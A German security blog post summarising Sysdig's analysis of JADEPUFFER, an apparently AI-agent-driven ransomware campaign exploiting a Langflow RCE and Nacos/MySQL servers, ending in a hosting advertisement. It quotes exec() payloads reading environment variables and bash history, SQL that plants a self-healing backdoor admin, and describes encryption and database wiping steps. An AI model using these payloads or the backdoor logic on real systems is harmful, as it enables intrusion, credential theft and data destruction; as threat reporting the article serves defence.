Kernaussage: Sysdig definiert JADEPUFFER als Agentic Threat Actor (ATA) — Angriffsfähigkeit wird von einem AI Agent geliefert, nicht von manuell gesteuerten Toolkits. Eine neue offizielle Kategorie im Bericht.

Timeline:

Mechanismus Schritt für Schritt: Der Endpunkt soll benutzerdefinierte Funktionsknoten syntaktisch prüfen — implementiert als ast.parse() → compile() → exec(), ohne Authentifizierung und Sandbox. Bei Python-Funktionsdefinitionen werden Dekoratoren und Standardparameter sofort ausgewertet; Angreifer platzieren Malware in Default-Argumenten — beim „Validieren“ läuft Code bereits auf dem Server. Kein Login nötig, ein HTTP POST = RCE.

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')

Trend Micro dokumentierte typische Payloads bei Flodrix (separate Kampagne). Abschließend ein 700-Byte-Bash-Skript lädt Flodrix-ELF-Binary und baut TCP/UDP-DDoS-Botnet.

Patch-Analyse: Langflow 1.3.0 fügt _current_user: CurrentActiveUser als Dependency Injection in post_validate_code ein; FastAPI prüft JWT Bearer oder x-api-key zuerst — bei Fehlschlag 401/403, Request erreicht Schwachstellenlogik nicht.

Phase 1 — Langflow-Host übernommen: Alle Payloads als Base64-kodiertes Python über RCE-Endpunkt.

Phase 2 — MySQL + Nacos-Produktionsserver: Nacos weit verbreitet in Alibaba-Microservices; Auth-Historie CVE-2021-29441, Standard-JWT-Signaturschlüssel seit 2020 in Dokumentation öffentlich, viele Deployments nie rotiert.

Nacos-Backdoor-Admin — 31-Sekunden-Selbstheilungs-Schleife (UTC):

cur.execute('DELETE FROM users WHERE username="xadmin"')
hash_val = bcrypt.hashpw(b'admin123', bcrypt.gensalt(rounds=10)).decode()
cur.execute('INSERT INTO users (username, password, enabled) VALUES ("xadmin", "' + hash_val + '", 1)')
cur.execute('INSERT INTO roles (username, role) VALUES ("xadmin", "ROLE_ADMIN")')

Container-Escape-Sondierung (~8 Minuten): MySQL INTO OUTFILE / LOAD_FILE testet Schreiben, Lesen, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname, UDF-Eskalation via mysql.func. Vor Ransomware Marker _pwn_cleanup.txt — Sysdig: strukturiertes Agent-Signal für nächste Phase, nicht festes Skript.

Destruktive Verschlüsselung: Alle 1.342 Nacos-Konfigurationseinträge mit AES_ENCRYPT() verschlüsselt, config_info und his_config_info gelöscht, Lösegeldtabelle README_RANSOM. Schlüssel per uuid4(), nur einmal gedruckt, nie gespeichert — Lösegeld hilft nicht. Brief behauptet AES-256; MySQL-Default ist AES-128-ECB. Enthält Nacos oft personenbezogene Konfiguration — relevant für DSGVO-Meldepflichten bei Betroffenheit.

Massenzerstörung: ROI-priorisiertes DROP DATABASE; Code-Kommentar behauptet Backup auf 64.20.53[.]230 — Sysdig ohne unabhängigen Nachweis. Bei Foreign-Key-Fehler nächster Payload mit SET GLOBAL FOREIGN_KEY_CHECKS=0 — Fehlerursache verstanden, nicht blind wiederholt.

Basierend auf Sysdig-Abwehrempfehlungen und Event-IOCs können Teams sofort handeln:

Vier unabhängige Evidenzlinien für „LLM-gesteuert“ (Sysdig):

Branchenreaktion: BleepingComputer, Dark Reading u. a. sprechen vom „ersten vollständig KI-gesteuerten Ransomware“-Fall; CSO Online zitiert Red-Team-Experte Vibhum Dubey: besorgniserregender ist die „ruhige Phase“ vor Verschlüsselung — Agent kartiert Identitätssysteme und umgeht Detection; jeder Eindringversuch kann leicht abweichen. Medien erwähnen LLMjacking: gestohlene Credentials für Agent-Steuerung senken Grenzkosten multi-phasiger Angriffe gegen null.

Sysdig — vier Schlussfolgerungen: ① Ransomware-Schwelle sinkt auf „Kosten eines laufenden Agents“; ② alte Schwachstellen werden automatisiert weaponisiert — „gesamte CVE-Historie durchprobieren“ kostet fast nichts; ③ LLM-Selbstnarration liefert lesbare Detection-Oberfläche; ④ „Backup erfolgt“ nur Agent-Code-Kommentar, unverifiziert.

Alternativen im Vergleich: Langflow/Nacos öffentlich für Agent-Prototypen übergibt API-Keys und Topologie an Scanner; lokales Notebook 7×24 für autonome Agents erschwert Egress-Kontrolle und Runtime-Detection; macOS-Agent-Orchestrierung in VM verletzt EULA und limitiert Metal. Für AI-Agent-Produktion und Red-Team-Simulation mit iOS-CI/CD, vollem Root, isolierter Testumgebung und 7×24-Stabilität ist KVMNODE dedizierte Mac Mini M4 Cloud-Miete meist die bessere Wahl: 100 % physische Hardware, offenes sudo, flexible Tages-/Wochen-/Monatsmiete — Agent-Workflows auditierbar getrennt vom Produktionsnetz. Details: Mietpreise. JADEPUFFER zeigt: Skill-Schwelle = Agent-Betriebskosten — öffentliche App-Server, ungehärtete Config-Center und öffentlich erreichbare DB-Admins sind primäre Angriffsflächen.

Quellen: Sysdig „JADEPUFFER: Agentic ransomware for automated database extortion“; BleepingComputer, Dark Reading, CyberScoop, CSO Online, Security Affairs; Trend Micro CVE-2025-3248 / Flodrix; NVD, CISA KEV.